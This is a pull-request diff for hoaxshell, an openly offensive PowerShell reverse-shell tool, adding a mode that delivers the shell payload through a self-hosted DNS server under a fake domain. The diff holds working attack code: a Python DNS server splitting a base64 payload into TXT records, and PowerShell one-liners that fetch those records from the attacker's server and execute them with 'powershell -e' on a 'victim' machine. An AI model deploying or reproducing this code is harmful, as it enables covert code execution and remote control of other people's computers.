Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
32 changes: 32 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -111,6 +111,37 @@ Use `-lt` or `--localtunnel` for LocalTunnel server
sudo python3 hoaxshell.py -lt
```

### Using a self-hosted DNS server, transmit the payload via fake domain

Use `-dns` or `--dns-server` to start a **DNS server** on port `53`. On the victim's computer, the DNS payload will be executed, and the chunks of **TXT** records will be received to construct the actual payload. The DNS server will also attempt to resolve the fake domain name provided with the `-d` argument and will return the fake/false information. This way, you can use a fake domain name to transmit the payload to the victim machine.

Use `-dns` or `--dns-server` to start the server.
There are some required arguments for this mode:

| Argument | Description |
| --- | --- |
| `-s` / `--server-ip` | Your server IP |
|`-d` / `--domain` | The fake domain name to be used. |
|`-udp` / `--udp` | The UDP based server to be used for DNS queries. |
|`-tcp` / `--tcp` | The TCP based server to be used for DNS queries. |

#### **Examples:**
For UDP based DNS server:
```
sudo python3 hoaxshell.py -s <your_ip> -dns -d <your.fake-domain.com> -udp
```
For TCP based DNS server:
```
sudo python3 hoaxshell.py -s <your_ip> -dns -d <your.fake-domain.com> -tcp
```
For both UDP and TCP based DNS servers at a time:
```
sudo python3 hoaxshell.py -s <your_ip> -dns -d <your.fake-domain.com> -udp -tcp
```

***Note:** Due to the limitation that PowerShell's `Resolve-DnsName` cmdlet does not support custom ports. This feature will only work if you have port **53** open on your server. Therefore, you cannot use it with any tunneling option. (`-lt` or `-ng`)*


## Limitations
The shell is going to hang if you execute a command that initiates an interactive session. Example:
```
Expand Down Expand Up @@ -149,6 +180,7 @@ Some awesome people were kind enough to send me/publish PoC videos of executing


## News
- `2022-10-24` - Added `-dns` option to start a self-hosted **DNS server** that will serve the payload to the victim's machine using DNS resolution. This way, you can use a fake domain name to transmit the payload to the victim machine.
- `13/10/2022` - Added constraint language mode support (-cm) option.
- `08/10/2022` - Added the `-ng` and `-lt` options that generate PS payloads for obtaining sessions using tunnelling tools **ngrok** or **localtunnel** in order to get around limitations like Static IP addresses and Port-Forwarding.
- `06/09/2022` - A new payload was added that writes the commands to be executed in a file instead of utilizing `Invoke-Expression`. To use this, the user must provide a .ps1 file name (absolute path) on the victim machine using the `-x` option.
Expand Down
240 changes: 230 additions & 10 deletions hoaxshell.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,10 @@
from string import ascii_uppercase, ascii_lowercase
from platform import system as get_system_type
from random import randint
import socketserver
import struct
from textwrap import wrap
from dnslib import *

filterwarnings("ignore", category = DeprecationWarning)

Expand Down Expand Up @@ -83,6 +87,18 @@ def chill():

sudo python3 hoaxshell.py -ng

- Use a self hosted DNS server to send the payload using domain TXT records:

# Make sure you're allowed to use port 53 and forwarding is enabled to use this feature.

# For UDP based DNS servers:
sudo python3 hoaxshell.py -s <your_ip> -dns -d <your.fake-domain.com> -udp

# For TCP based DNS servers:
sudo python3 hoaxshell.py -s <your_ip> -dns -d <your.fake-domain.com> -tcp

# For both UDP and TCP based DNS servers:
sudo python3 hoaxshell.py -s <your_ip> -dns -d <your.fake-domain.com> -tcp -udp

'''
)
Expand All @@ -103,6 +119,10 @@ def chill():
parser.add_argument("-cm", "--constraint-mode", action="store_true", help="Generate a payload that works even if the victim is configured to run PS in Constraint Language mode. By using this option, you sacrifice a bit of your reverse shell's stdout decoding accuracy.")
parser.add_argument("-lt", "--localtunnel", action="store_true", help="Generate Payload with localtunnel")
parser.add_argument("-ng", "--ngrok", action="store_true",help="Generate Payload with Ngrok")
parser.add_argument("-dns", "--dns-server", action="store_true", help="Transmit payload over DNS server.")
parser.add_argument("-d", "--domain", action="store", help="Fake domain name for DNS server - only used with -dns")
parser.add_argument("-tcp","--tcp", action="store_true", help="Start dns server in tcp mode - only used with -dns")
parser.add_argument("-udp","--udp", action="store_true", help="Start dns server in udp mode - only used with -dns")
parser.add_argument("-u", "--update", action="store_true", help = "Pull the latest version from the original repo.")
parser.add_argument("-q", "--quiet", action="store_true", help = "Do not print the banner on startup.")

Expand Down Expand Up @@ -182,10 +202,43 @@ def promptHelpMsg():


def encodePayload(payload):
enc_payload = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(f'{PLOAD}{enc_payload}{END}')
'''Encoded Paylaod'''
enc_payload = base64.b64encode(payload.encode('utf16')[2:]).decode()
return enc_payload


def generateDNSPayload(enc_payload):
'''Encoded Paylaod'''
DNSserver.prepare(enc_payload)
range = DNSserver.get_range() # Payload chunk counts for subdomain generation
#starting DNS server
try:
DNSserver.start()
except OSError as error:
if error.errno == 98:
exit(f'\n[{FAILED}] - {BOLD}Port 53 seems to already be in use.{END}\n')
elif error.errno == 13:
exit(f'\n[{FAILED}] - {BOLD}Permission denied. Try running as root (with sudo).{END}\n')
else:
exit(f'\n[{FAILED}] - {BOLD}{error}{END}\n')

#Payload if both TCP and UDP servers are running
if not (args.tcp and args.udp):
DnsPayload = open(f'{cwd}/payload_templates/payload_dns_udp.ps1', 'r') if not args.tcp else open(
f'{cwd}/payload_templates/payload_dns_tcp.ps1', 'r')

payload = DnsPayload.read().strip()
DnsPayload.close()
else:
TcpPayload = open(f'{cwd}/payload_templates/payload_dns_tcp.ps1', 'r').read().strip()
UdpPayload = open(f'{cwd}/payload_templates/payload_dns_udp.ps1', 'r').read().strip()

payload = f'{END}[{INFO}] Payload for {MAIN}TCP{END} baesd DNS Lookup\n{PLOAD}{TcpPayload}{END}\n{END}[{INFO}] Payload for {MAIN}UDP{END} baesd DNS Lookup\n{PLOAD}{UdpPayload}{END}'

payload = payload.replace('*SERVERIP*', args.server_ip).replace(
'*DOMAIN*', args.domain).replace('*RANGE*', str(range))

return payload

def is_valid_uuid(value):

Expand Down Expand Up @@ -307,6 +360,146 @@ def terminate(self):
self.process.kill() #Terminate running tunnel process
print(f'\r[{WARN}] Tunnel terminated.')

#--------------- DNS Server ------------------- #

class DNSServer:
'''DNS Server'''
def __init__(self, domain):
self.domain = domain
self.IP = '127.0.0.1'
self.TTL = 60 * 5
self.records = {}
self.ns_records = None
self.soa_record = None
self.range = None

def prepare(self, payload):
'''Prepare DNS Server Records'''
TXT_PAYLAOD = wrap(payload, 255) # TXT records have limit of 255 characters
self.range = len(TXT_PAYLAOD)
for i, txt_record in enumerate(TXT_PAYLAOD):

SubDomain = DomainName('{}.{}'.format(i+1, self.domain))
self.soa_record = SOA(
mname=SubDomain.ns1, # primary name server
rname=SubDomain.magnito, # email of the domain administrator
times=(
201307231, # serial number
60 * 60 * 1, # refresh
60 * 60 * 3, # retry
60 * 60 * 24, # expire
60 * 60 * 1, # minimum
)
)
self.ns_records = [NS(SubDomain.ns1), NS(SubDomain.ns2)]
self.records.update({
SubDomain: [A(self.IP), AAAA((0,) * 16), MX(SubDomain.mail), TXT(txt_record), self.soa_record] + self.ns_records,
# MX and NS records must never point to a CNAME alias (RFC 2181 section 10.3)
SubDomain.ns1: [A(self.IP)],
SubDomain.ns2: [A(self.IP)],
SubDomain.mail: [A(self.IP)],
SubDomain.andrei: [CNAME(SubDomain)],
})

def get_range(self):
'''Subdomain Ranges'''
return self.range

def start(self):
'''Start DNS Server'''
servers = []

if args.udp:
servers.append(socketserver.ThreadingUDPServer(
('', 53), UDPRequestHandler))
if args.tcp:
servers.append(socketserver.ThreadingTCPServer(
('', 53), TCPRequestHandler))

for s in servers:
# that thread will start one more thread for each request
thread = Thread(target=s.serve_forever)
thread.daemon = True # exit the server thread when the main thread terminates
thread.start()
print(f"[{INFO}] DNS {ORANGE}{s.RequestHandlerClass.__name__[:3]}{END} server loop running in thread: {ORANGE}{thread.name}{END}")


class DomainName(str):
'''Domain Name'''
def __getattr__(self, item):
return DomainName(item + '.' + self)


class BaseRequestHandler(socketserver.BaseRequestHandler):
'''Base Request Handler'''

def get_data(self):
raise NotImplementedError

def send_data(self, data):
raise NotImplementedError

def handle(self):
try:
data = self.get_data()
self.send_data(self.dns_response(data))
except Exception:
pass

def dns_response(self, data):
request = DNSRecord.parse(data)

reply = DNSRecord(DNSHeader(id=request.header.id,
qr=1, aa=1, ra=1), q=request.q)

qname = request.q.qname
qn = str(qname)
qtype = request.q.qtype
qt = QTYPE[qtype]

if qn == DNSserver.domain or qn.endswith('.' + DNSserver.domain):

for name, rrs in DNSserver.records.items():
if name == qn:
for rdata in rrs:
rqt = rdata.__class__.__name__
if qt in ['*', rqt]:
reply.add_answer(RR(rname=qname, rtype=getattr(
QTYPE, rqt), rclass=1, ttl=DNSserver.TTL, rdata=rdata))

for rdata in DNSserver.ns_records:
reply.add_ar(RR(rname=qn, rtype=QTYPE.NS,
rclass=1, ttl=DNSserver.TTL, rdata=rdata))

reply.add_auth(RR(rname=qn, rtype=QTYPE.SOA,
rclass=1, ttl=DNSserver.TTL, rdata=DNSserver.soa_record))

return reply.pack()


class TCPRequestHandler(BaseRequestHandler):

def get_data(self):
data = self.request.recv(8192).strip()
sz = struct.unpack('>H', data[:2])[0]
if sz < len(data) - 2:
raise Exception("Wrong size of TCP packet")
elif sz > len(data) - 2:
raise Exception("Too big TCP packet")
return data[2:]

def send_data(self, data):
sz = struct.pack('>H', len(data))
return self.request.sendall(sz + data)


class UDPRequestHandler(BaseRequestHandler):

def get_data(self):
return self.request[0].strip()

def send_data(self, data):
return self.request[1].sendto(data, self.client_address)

# -------------- Hoaxshell Server -------------- #
class Hoaxshell(BaseHTTPRequestHandler):
Expand All @@ -328,7 +521,7 @@ class Hoaxshell(BaseHTTPRequestHandler):


def cmd_output_interpreter(self, output, constraint_mode = False):

global prompt

try:
Expand Down Expand Up @@ -454,8 +647,9 @@ def do_GET(self):


def do_POST(self):

global prompt

timestamp = int(datetime.now().timestamp())
Hoaxshell.last_received = timestamp
self.server_version = Hoaxshell.server_version
Expand Down Expand Up @@ -545,6 +739,7 @@ def terminate():

def main():

global prompt, cwd, DNSserver, t_process
try:
chill() if quiet else print_banner()
cwd = path.dirname(path.abspath(__file__))
Expand Down Expand Up @@ -587,6 +782,15 @@ def main():
elif not args.server_ip and not args.update and not (args.localtunnel or args.ngrok):
exit_with_msg('Local host ip or Tunnel not provided (use -s for IP / -lt or -ng for Tunneling)')

elif any([args.dns_server, args.domain, args.tcp, args.udp]) and (args.localtunnel or args.ngrok):
exit_with_msg('DNS server\'s paramenters can only be used with Local server (-s) not with localtunnel (-lt) or ngrok (-ng)')

elif args.dns_server and not any([args.domain, args.tcp, args.udp]):
exit_with_msg('DNS server must be used with Domain (-d) and protocol(s) -tcp and/or -udp')

elif any([args.domain, args.tcp, args.udp]) and not args.dns_server:
exit_with_msg('DNS server not provided (use -dns for DNS server)')

else:
if not args.trusted_domain and not (args.localtunnel or args.ngrok):
# Check if provided ip is valid
Expand All @@ -604,8 +808,14 @@ def main():
for char in args.Header:
if char not in valid:
exit_with_msg('Header name includes illegal characters.')


# DNS server
if args.dns_server and not (args.localtunnel or args.ngrok):
if not args.domain or not (args.tcp or args.udp):
exit_with_msg('DNS server requires a domain name (-d, --domain) and a valid protocol (--tcp or --udp).')

DNSserver = DNSServer((args.domain if args.domain.endswith('.') else args.domain+'.'))


# Check if http/https
if ssl_support:
server_port = int(args.port) if args.port else 443
Expand All @@ -616,7 +826,6 @@ def main():
server_ip = f'{args.server_ip}:{server_port}'

# Tunneling
global t_process
tunneling = False

if args.localtunnel or args.ngrok:
Expand Down Expand Up @@ -701,8 +910,19 @@ def main():

payload = payload.replace(var, f'${obf}')


encodePayload(payload) if not args.raw_payload else print(f'{PLOAD}{payload}{END}')
enc_payload = encodePayload(payload)

if args.raw_payload:
print(f'{PLOAD}{payload}{END}')

elif args.dns_server:
payload = generateDNSPayload(enc_payload)
print(f'{PLOAD}{payload}{END}')

else:
payload = "powershell -e "+enc_payload
print(f'{PLOAD}{payload}{END}')


print(f'[{INFO}] Tunneling [{BOLD}{ORANGE}ON{END}]') if tunneling else chill()

Expand Down Expand Up @@ -731,7 +951,7 @@ def main():
system('clear')

elif user_input.lower() in ['payload']:
encodePayload(payload)
print(f'{PLOAD}{payload}{END}')

elif user_input.lower() in ['rawpayload']:
print(f'{PLOAD}{payload}{END}')
Expand Down
1 change: 1 addition & 0 deletions payload_templates/payload_dns_tcp.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
$b64=""; (1..*RANGE*) | ForEach-Object { $b64+=(Resolve-DnsName -Name "$_.*DOMAIN*" -Server *SERVERIP* -Type txt -TcpOnly | Select-Object -expand Strings -Erroraction Ignore)}; powershell -e $b64
1 change: 1 addition & 0 deletions payload_templates/payload_dns_udp.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
$b64=""; (1..*RANGE*) | ForEach-Object { $b64+=(Resolve-DnsName -Name "$_.*DOMAIN*" -Server *SERVERIP* -Type txt | Select-Object -expand Strings -Erroraction Ignore)}; powershell -e $b64
1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,2 +1,3 @@
gnureadline==8.1.2
ipython==8.4.0
dnslib